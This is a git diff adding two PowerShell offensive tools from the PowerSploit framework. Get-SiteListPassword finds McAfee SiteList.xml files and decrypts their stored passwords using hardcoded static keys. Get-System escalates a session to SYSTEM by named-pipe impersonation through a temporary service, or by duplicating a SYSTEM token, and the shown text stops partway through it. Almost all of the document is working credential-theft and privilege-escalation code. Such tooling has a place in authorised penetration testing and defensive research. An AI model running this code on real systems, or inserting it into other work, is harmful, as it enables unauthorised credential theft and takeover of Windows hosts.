@@ -0,0 +1,178 @@
+function Get-SiteListPassword {
+<#
+ .SYNOPSIS
+
+ Retrieves the plaintext passwords for found McAfee's SiteList.xml files.
+ Based on Jerome Nokin (@funoverip)'s Python solution (in links).
+
+ PowerSploit Function: Get-SiteListPassword
+ Original Author: Jerome Nokin (@funoverip)
+ PowerShell Port: @harmj0y
+ License: BSD 3-Clause
+ Required Dependencies: None
+ Optional Dependencies: None
+
+ .PARAMETER SiteListFilePath
+
+ Optional path to a SiteList.xml file.
+
+ .EXAMPLE
+
+ PS C:\> Get-SiteListPassword
+
+ EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
+ UserName :
+ Path : Products/CommonUpdater
+ Name : McAfeeHttp
+ DecPassword : MyStrongPassword!
+ Enabled : 1
+ DomainName :
+ Server : update.nai.com:80
+
+ EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
+ UserName : McAfeeService
+ Path : Repository$
+ Name : Paris
+ DecPassword : MyStrongPassword!
+ Enabled : 1
+ DomainName : companydomain
+ Server : paris001
+
+ EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
+ UserName : McAfeeService
+ Path : Repository$
+ Name : Tokyo
+ DecPassword : MyStrongPassword!
+ Enabled : 1
+ DomainName : companydomain
+ Server : tokyo000
+
+ .LINK
+ https://github.com/funoverip/mcafee-sitelist-pwd-decryption/
+ https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/
+ https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md
+#>
+
+ [CmdletBinding()]
+ param(
+ [ValidateScript({Test-Path -Path $_ })]
+ [String]
+ $SiteListFilePath
+ )
+
+ function Get-DecryptedSitelistPassword {
+ # PowerShell adaptation of https://github.com/funoverip/mcafee-sitelist-pwd-decryption/
+ # Original Author: Jerome Nokin (@funoverip / jerome.nokin@gmail.com)
+ # port by @harmj0y
+ [CmdletBinding()]
+ Param (
+ [Parameter(Mandatory = $True)]
+ [String]
+ $B64Pass
+ )
+
+ # make sure the appropriate assemblies are loaded
+ Add-Type -assembly System.Security
+ Add-Type -assembly System.Core
+
+ # declare the encoding/crypto providers we need
+ $Encoding = [System.Text.Encoding]::ASCII
+ $SHA1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider
+ $3DES = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
+
+ # static McAfee key XOR key LOL
+ $XORKey = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19
+
+ # xor the input b64 string with the static XOR key
+ $I = 0;
+ $UnXored = [System.Convert]::FromBase64String($B64Pass) | Foreach-Object { $_ -BXor $XORKey[$I++ % $XORKey.Length] }
+
+ # build the static McAfee 3DES key TROLOL
+ $3DESKey = $SHA1.ComputeHash($Encoding.GetBytes('<!@#$%^>')) + ,0x00*4
+
+ # set the options we need
+ $3DES.Mode = 'ECB'
+ $3DES.Padding = 'None'
+ $3DES.Key = $3DESKey
+
+ # decrypt the unXor'ed block
+ $Decrypted = $3DES.CreateDecryptor().TransformFinalBlock($UnXored, 0, $UnXored.Length)
+
+ # ignore the padding for the result
+ $Index = [Array]::IndexOf($Decrypted, [Byte]0)
+ if($Index -ne -1) {
+ $DecryptedPass = $Encoding.GetString($Decrypted[0..($Index-1)])
+ }
+ else {
+ $DecryptedPass = $Encoding.GetString($Decrypted)
+ }
+
+ New-Object -TypeName PSObject -Property @{'Encrypted'=$B64Pass;'Decrypted'=$DecryptedPass}
+ }
+
+ function Get-SitelistFields {
+ [CmdletBinding()]
+ Param (
+ [Parameter(Mandatory = $True)]
+ [String]
+ $Path
+ )
+
+ try {
+ [Xml]$SiteListXml = Get-Content -Path $Path
+
+ if($SiteListXml.InnerXml -Like "*password*") {
+ Write-Verbose "Potential password in found in $Path"
+
+ $SiteListXml.SiteLists.SiteList.ChildNodes | Foreach-Object {
+ try {
+ $PasswordRaw = $_.Password.'#Text'
+
+ if($_.Password.Encrypted -eq 1) {
+ # decrypt the base64 password if it's marked as encrypted
+ $DecPassword = if($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''}
+ }
+ else {
+ $DecPassword = $PasswordRaw
+ }
+
+ $Server = if($_.ServerIP) { $_.ServerIP } else { $_.Server }
+ $Path = if($_.ShareName) { $_.ShareName } else { $_.RelativePath }
+
+ $ObjectProperties = @{
+ 'Name' = $_.Name;
+ 'Enabled' = $_.Enabled;
+ 'Server' = $Server;
+ 'Path' = $Path;
+ 'DomainName' = $_.DomainName;
+ 'UserName' = $_.UserName;
+ 'EncPassword' = $PasswordRaw;
+ 'DecPassword' = $DecPassword;
+ }
+ New-Object -TypeName PSObject -Property $ObjectProperties
+ }
+ catch {
+ Write-Debug "Error parsing node : $_"
+ }
+ }
+ }
+ }
+ catch {
+ Write-Error $_
+ }
+ }
+
+ if($SiteListFilePath) {
+ $XmlFiles = Get-ChildItem -Path $SiteListFilePath
+ }
+ else {
+ $XmlFiles = 'C:\Program Files\','C:\Program Files (x86)\','C:\Documents and Settings\','C:\Users\' | Foreach-Object {
+ Get-ChildItem -Path $_ -Recurse -Include 'SiteList.xml' -ErrorAction SilentlyContinue
+ }
+ }
+
+ $XmlFiles | Where-Object { $_ } | Foreach-Object {
+ Write-Verbose "Parsing SiteList.xml file '$($_.Fullname)'"
+ Get-SitelistFields -Path $_.Fullname
+ }
+}
diff --git a/Privesc/Get-System.ps1 b/Privesc/Get-System.ps1
new file mode 100644
index 0000000..32d4399
--- /dev/null
+++ b/Privesc/Get-System.ps1
@@ -0,0 +1,590 @@
+function Get-System {
+<#
+ .SYNOPSIS
+
+ GetSystem functionality inspired by Meterpreter's getsystem.
+ 'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create
+ a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege.
+ NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure
+ token duplication works correctly.
+
+ PowerSploit Function: Get-System
+ Author: @harmj0y, @mattifestation
+ License: BSD 3-Clause
+ Required Dependencies: None
+ Optional Dependencies: None
+
+ .PARAMETER Technique
+
+ The technique to use, 'NamedPipe' or 'Token'.
+
+ .PARAMETER ServiceName
+
+ The name of the service used with named pipe impersonation, defaults to 'TestSVC'.
+
+ .PARAMETER PipeName
+
+ The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'.
+
+ .PARAMETER RevToSelf
+
+ Reverts the current thread privileges.
+
+ .PARAMETER WhoAmI
+
+ Switch. Display the credentials for the current PowerShell thread.
+
+ .EXAMPLE
+
+ PS> Get-System
+
+ Uses named impersonate to elevate the current thread token to SYSTEM.
+
+ .EXAMPLE
+
+ PS> Get-System -ServiceName 'PrivescSvc' -PipeName 'secret'
+
+ Uses named impersonate to elevate the current thread token to SYSTEM
+ with a custom service and pipe name.
+
+ .EXAMPLE
+
+ PS> Get-System -Technique Token
+
+ Uses token duplication to elevate the current thread token to SYSTEM.
+
+ .EXAMPLE
+
+ PS> Get-System -WhoAmI
+
+ Displays the credentials for the current thread.
+
+ .EXAMPLE
+
+ PS> Get-System -RevToSelf
+
+ Reverts the current thread privileges.
+
+ .LINK
+
+ https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c
+ https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
+ http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
+ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
+#>
+ [CmdletBinding(DefaultParameterSetName = 'NamedPipe')]
+ param(
+ [Parameter(ParameterSetName = "NamedPipe")]
+ [Parameter(ParameterSetName = "Token")]
+ [String]
+ [ValidateSet("NamedPipe", "Token")]
+ $Technique = 'NamedPipe',
+
+ [Parameter(ParameterSetName = "NamedPipe")]
+ [String]
+ $ServiceName = 'TestSVC',
+
+ [Parameter(ParameterSetName = "NamedPipe")]
+ [String]
+ $PipeName = 'TestSVC',
+
+ [Parameter(ParameterSetName = "RevToSelf")]
+ [Switch]
+ $RevToSelf,
+
+ [Parameter(ParameterSetName = "WhoAmI")]
+ [Switch]
+ $WhoAmI
+ )
+
+ $ErrorActionPreference = "Stop"
+
+ # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
+ function Local:Get-DelegateType
+ {
+ Param
+ (
+ [OutputType([Type])]
+
+ [Parameter( Position = 0)]
+ [Type[]]
+ $Parameters = (New-Object Type[](0)),
+
+ [Parameter( Position = 1 )]
+ [Type]
+ $ReturnType = [Void]
+ )
+
+ $Domain = [AppDomain]::CurrentDomain
+ $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
+ $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
+ $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
+ $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
+ $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
+ $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
+ $MethodBuilder.SetImplementationFlags('Runtime, Managed')
+
+ Write-Output $TypeBuilder.CreateType()
+ }
+
+ # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
+ function Local:Get-ProcAddress
+ {
+ Param
+ (
+ [OutputType([IntPtr])]
+
+ [Parameter( Position = 0, Mandatory = $True )]
+ [String]
+ $Module,
+
+ [Parameter( Position = 1, Mandatory = $True )]
+ [String]
+ $Procedure
+ )
+
+ # Get a reference to System.dll in the GAC
+ $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
+ Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
+ $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
+ # Get a reference to the GetModuleHandle and GetProcAddress methods
+ $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
+ $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
+ # Get a handle to the module specified
+ $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
+ $tmpPtr = New-Object IntPtr
+ $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
+
+ # Return the address of the function
+ Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
+ }
+
+ # performs named pipe impersonation to elevate to SYSTEM without needing
+ # SeDebugPrivilege
+ function Local:Get-SystemNamedPipe {
+ param(
+ [String]
+ $ServiceName = "TestSVC",
+
+ [String]
+ $PipeName = "TestSVC"
+ )
+
+ $Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`""
+
+ # create the named pipe used for impersonation and set appropriate permissions
+ $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
+ $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" )
+ $PipeSecurity.AddAccessRule($AccessRule)
+ $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity)
+
+ $PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle()
+
+ # Declare/setup all the needed API function
+ # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
+ $ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient
+ $ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int])
+ $ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate)
+
+ $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle
+ $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int])
+ $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate)
+
+ $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA
+ $OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr])
+ $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate)
+
+ $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA
+ $OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr])
+ $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate)
+
+ $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA
+ $CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr])
+ $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate)
+
+ $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA
+ $StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr])
+ $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate)
+
+ $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService
+ $DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr])
+ $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate)
+
+ $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError
+ $GetLastErrorDelegate = Get-DelegateType @() ([Int])
+ $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate)
+
+ # Step 1 - OpenSCManager()
+ # 0xF003F = SC_MANAGER_ALL_ACCESS
+ # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
+ Write-Verbose "Opening service manager"
+ $ManagerHandle = $OpenSCManagerA.Invoke("\\localhost", "ServicesActive", 0xF003F)
+ Write-Verbose "Service manager handle: $ManagerHandle"
+
+ # if we get a non-zero handle back, everything was successful
+ if ($ManagerHandle -and ($ManagerHandle -ne 0)) {
+
+ # Step 2 - CreateService()
+ # 0xF003F = SC_MANAGER_ALL_ACCESS
+ # 0x10 = SERVICE_WIN32_OWN_PROCESS
+ # 0x3 = SERVICE_DEMAND_START
+ # 0x1 = SERVICE_ERROR_NORMAL
+ Write-Verbose "Creating new service: '$ServiceName'"
+ try {
+ $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null)
+ $err = $GetLastError.Invoke()
+ }
+ catch {
+ Write-Warning "Error creating service : $_"
+ $ServiceHandle = 0
+ }
+ Write-Verbose "CreateServiceA Handle: $ServiceHandle"
+
+ if ($ServiceHandle -and ($ServiceHandle -ne 0)) {
+ $Success = $True
+ Write-Verbose "Service successfully created"
+
+ # Step 3 - CloseServiceHandle() for the service handle
+ Write-Verbose "Closing service handle"
+ $Null = $CloseServiceHandle.Invoke($ServiceHandle)
+
+ # Step 4 - OpenService()
+ Write-Verbose "Opening the service '$ServiceName'"
+ $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F)
+ Write-Verbose "OpenServiceA handle: $ServiceHandle"
+
+ if ($ServiceHandle -and ($ServiceHandle -ne 0)){
+
+ # Step 5 - StartService()
+ Write-Verbose "Starting the service"
+ $val = $StartServiceA.Invoke($ServiceHandle, $null, $null)
+ $err = $GetLastError.Invoke()
+
+ # if we successfully started the service, let it breathe and then delete it
+ if ($val -ne 0){
+ Write-Verbose "Service successfully started"
+ # breathe for a second
+ Start-Sleep -s 1
+ }
+ else{
+ if ($err -eq 1053){
+ Write-Verbose "Command didn't respond to start"
+ }
+ else{
+ Write-Warning "StartService failed, LastError: $err"
+ }
+ # breathe for a second
+ Start-Sleep -s 1
+ }
+
+ # start cleanup
+ # Step 6 - DeleteService()
+ Write-Verbose "Deleting the service '$ServiceName'"
+ $val = $DeleteService.invoke($ServiceHandle)
+ $err = $GetLastError.Invoke()
+
+ if ($val -eq 0){
+ Write-Warning "DeleteService failed, LastError: $err"
+ }
+ else{
+ Write-Verbose "Service successfully deleted"
+ }
+
+ # Step 7 - CloseServiceHandle() for the service handle
+ Write-Verbose "Closing the service handle"
+ $val = $CloseServiceHandle.Invoke($ServiceHandle)
+ Write-Verbose "Service handle closed off"
+ }
+ else {
+ Write-Warning "[!] OpenServiceA failed, LastError: $err"
+ }
+ }
+
+ else {
+ Write-Warning "[!] CreateService failed, LastError: $err"
+ }
+
+ # final cleanup - close off the manager handle
+ Write-Verbose "Closing the manager handle"
+ $Null = $CloseServiceHandle.Invoke($ManagerHandle)
+ }
+ else {
+ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
+ Write-Warning "[!] OpenSCManager failed, LastError: $err"
+ }
+
+ if($Success) {
+ Write-Verbose "Waiting for pipe connection"
+ $Pipe.WaitForConnection()
+
+ $Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd()
+
+ $Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle)
+ Write-Verbose "ImpersonateNamedPipeClient: $Out"
+ }
+
+ # clocse off the named pipe
+ $Pipe.Dispose()
+ }
+
+ # performs token duplication to elevate to SYSTEM
+ # needs SeDebugPrivilege
+ # written by @mattifestation and adapted from https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
+ Function Local:Get-SystemToken {
+ [CmdletBinding()] param()
+
+ $DynAssembly = New-Object Reflection.AssemblyName('AdjPriv')
+ $AssemblyBuilder = [Appdomain]::Currentdomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('AdjPriv', $False)
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
+
+ $TokPriv1LuidTypeBuilder = $ModuleBuilder.DefineType('TokPriv1Luid', $Attributes, [System.ValueType])
+ $TokPriv1LuidTypeBuilder.DefineField('Count', [Int32], 'Public') | Out-Null
+ $TokPriv1LuidTypeBuilder.DefineField('Luid', [Int64], 'Public') | Out-Null
+ $TokPriv1LuidTypeBuilder.DefineField('Attr', [Int32], 'Public') | Out-Null
+ $TokPriv1LuidStruct = $TokPriv1LuidTypeBuilder.CreateType()
+
+ $LuidTypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType])
+ $LuidTypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
+ $LuidTypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
+ $LuidStruct = $LuidTypeBuilder.CreateType()
+
+ $Luid_and_AttributesTypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType])
+ $Luid_and_AttributesTypeBuilder.DefineField('Luid', $LuidStruct, 'Public') | Out-Null
+ $Luid_and_AttributesTypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
+ $Luid_and_AttributesStruct = $Luid_and_AttributesTypeBuilder.CreateType()
+
+ $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
+ $ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray
+ $FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
+
+ $TokenPrivilegesTypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType])
+ $TokenPrivilegesTypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
+ $PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public')
+ $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1))
+ $PrivilegesField.SetCustomAttribute($AttribBuilder)
+ $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType()
+
+ $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder(
+ ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]),
+ 'advapi32.dll',
+ @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')),
+ @([Bool] $True)
+ )
+
+ $AttribBuilder2 = New-Object Reflection.Emit.CustomAttributeBuilder(
+ ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]),
+ 'kernel32.dll',
+ @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')),
+ @([Bool] $True)
+ )
+
+ $Win32TypeBuilder = $ModuleBuilder.DefineType('Win32Methods', $Attributes, [ValueType])
+ $Win32TypeBuilder.DefinePInvokeMethod(
+ 'OpenProcess',
+ 'kernel32.dll',
+ [Reflection.MethodAttributes] 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [IntPtr],
+ @([UInt32], [Bool], [UInt32]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ 'Auto').SetCustomAttribute($AttribBuilder2)
+
+ $Win32TypeBuilder.DefinePInvokeMethod(
+ 'CloseHandle',
+ 'kernel32.dll',
+ [Reflection.MethodAttributes] 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ @([IntPtr]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ 'Auto').SetCustomAttribute($AttribBuilder2)
+
+ $Win32TypeBuilder.DefinePInvokeMethod(
+ 'DuplicateToken',
+ 'advapi32.dll',
+ [Reflection.MethodAttributes] 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ @([IntPtr], [Int32], [IntPtr].MakeByRefType()),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ 'Auto').SetCustomAttribute($AttribBuilder)
+
+ $Win32TypeBuilder.DefinePInvokeMethod(
+ 'SetThreadToken',
+ 'advapi32.dll',
+ [Reflection.MethodAttributes] 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ @([IntPtr], [IntPtr]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ 'Auto').SetCustomAttribute($AttribBuilder)
+
+ $Win32TypeBuilder.DefinePInvokeMethod(
+ 'OpenProcessToken',
+ 'advapi32.dll',
+ [Reflection.MethodAttributes] 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ @([IntPtr], [UInt32], [IntPtr].MakeByRefType()),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ 'Auto').SetCustomAttribute($AttribBuilder)
+
+ $Win32TypeBuilder.DefinePInvokeMethod(
+ 'LookupPrivilegeValue',
+ 'advapi32.dll',
+ [Reflection.MethodAttributes] 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ @([String], [String], [IntPtr].MakeByRefType()),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ 'Auto').SetCustomAttribute($AttribBuilder)
+
+ $Win32TypeBuilder.DefinePInvokeMethod(
+ 'AdjustTokenPrivileges',
+ 'advapi32.dll',
+ [Reflection.MethodAttributes] 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ @([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ 'Auto').SetCustomAttribute($AttribBuilder)
+
+ $Win32Methods = $Win32TypeBuilder.CreateType()
+
+ $Win32Native = [Int32].Assembly.GetTypes() | ? {$_.Name -eq 'Win32Native'}
+ $GetCurrentProcess = $Win32Native.GetMethod(
+ 'GetCurrentProcess',
+ [Reflection.BindingFlags] 'NonPublic, Static'
+ )
+
+ $SE_PRIVILEGE_ENABLED = 0x00000002
+ $STANDARD_RIGHTS_REQUIRED = 0x000F0000
+ $STANDARD_RIGHTS_READ = 0x00020000
+ $TOKEN_ASSIGN_PRIMARY = 0x00000001
+ $TOKEN_DUPLICATE = 0x00000002
+ $TOKEN_IMPERSONATE = 0x00000004
+ $TOKEN_QUERY = 0x00000008
+ $TOKEN_QUERY_SOURCE = 0x00000010
+ $TOKEN_ADJUST_PRIVILEGES = 0x00000020
+ $TOKEN_ADJUST_GROUPS = 0x00000040
+ $TOKEN_ADJUST_DEFAULT = 0x00000080
+ $TOKEN_ADJUST_SESSIONID = 0x00000100
+ $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY
+ $TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor
+ $TOKEN_ASSIGN_PRIMARY -bor
+ $TOKEN_DUPLICATE -bor
+ $TOKEN_IMPERSONATE -bor
+ $TOKEN_QUERY -bor
+ $TOKEN_QUERY_SOURCE -bor
+ $TOKEN_ADJUST_PRIVILEGES -bor
+ $TOKEN_ADJUST_GROUPS -bor
+ $TOKEN_ADJUST_DEFAULT -bor
+ $TOKEN_ADJUST_SESSIONID
+
+ [long]$Luid = 0
+
+ $tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct)
+ $tokPriv1Luid.Count = 1
+ $tokPriv1Luid.Luid = $Luid
+ $tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED
+
+ $RetVal = $Win32Methods::LookupPrivilegeValue($Null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid)
+
+ $htoken = [IntPtr]::Zero
+ $RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken)
+
+ $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct)
+ $RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)
+
+ if(-not($RetVal)) {
+ Write-Error "AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop
+ }
+
+ $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
+
+ $SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object {
+ try {
+ $OwnerInfo = $_.GetOwner()
+ if ($OwnerInfo.Domain -and $OwnerInfo.User) {
+ $OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper()
+
+ if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) {
+ $Process = Get-Process -Id $_.ProcessId
+
+ $Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id)
+ if ($Handle) {
+ $Handle
+ }
+ }
+ }
+ }
+ catch {}
+ } | Where-Object {$_ -and ($_ -ne 0)} | Select -First 1
+
+ if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) {
+ Write-Error 'Unable to obtain a handle to a system process.'
+ }
+ else {
+ [IntPtr]$SystemToken = [IntPtr]::Zero
+ $RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
+
+ Write-Verbose "OpenProcessToken result: $RetVal"
+ Write-Verbose "OpenProcessToken result: $LastError"
+
+ [IntPtr]$DulicateTokenHandle = [IntPtr]::Zero
+ $RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
+
+ Write-Verbose "DuplicateToken result: $LastError"
+
+ $RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ if(-not($RetVal)) {
+ Write-Error "SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop
+ }
+
+ Write-Verbose "SetThreadToken result: $LastError"
+ $null = $Win32Methods::CloseHandle($Handle)
+ }
+ }
+
+ if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') {
+ Write-Error "Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop
+ }
+
+ if($PSBoundParameters['WhoAmI']) {
+ Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)"
+ return
+ }
+
+ elseif($PSBoundParameters['RevToSelf']) {
+ $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf
+ $RevertToSelfDelegate = Get-DelegateType @() ([Bool])
+ $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate)
+
